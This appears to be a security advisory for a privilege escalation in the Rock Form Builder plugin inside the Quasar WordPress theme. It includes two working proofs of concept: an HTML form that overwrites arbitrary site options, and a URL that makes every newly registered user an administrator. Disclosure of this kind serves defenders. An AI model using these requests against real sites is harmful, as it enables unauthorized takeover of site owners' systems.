Quasar Theme Rock Form Builder plugin – Privilege Escalation

Description

The Rock Form Builder plugin (1.0) is used within the Quasar WooCommerce theme (1.9.1).

Authenticated users can modify WordPress settings which can lead to full site compromise.

It's unclear which exact version of the rock-form-builder fixed the issue, but it was something in between 1.0 and 2.5, so the fixed in has been set to 2.5.

Proof of Concept

Rock Form Builder:

Submit the form below when being logged in (with any user role)

<form action="https://exmample.com/wp-admin/admin-ajax.php?action=rockthemes_fb_save" method="post" >
	<input type="hidden" name="db_info[db_name]" value="OPTION" />
	<input type="hidden" name="data" value="VALUE" />
	<button type="submit" >Submit</button>
</form>


Quasar Theme:

Opening the URL below with a logged in user will set the default role of any new registered user to administrator

https://example.com/wp-admin/admin-ajax.php?action=rockAjax_save_builder_template&data=administrator&template[database_name]=default_role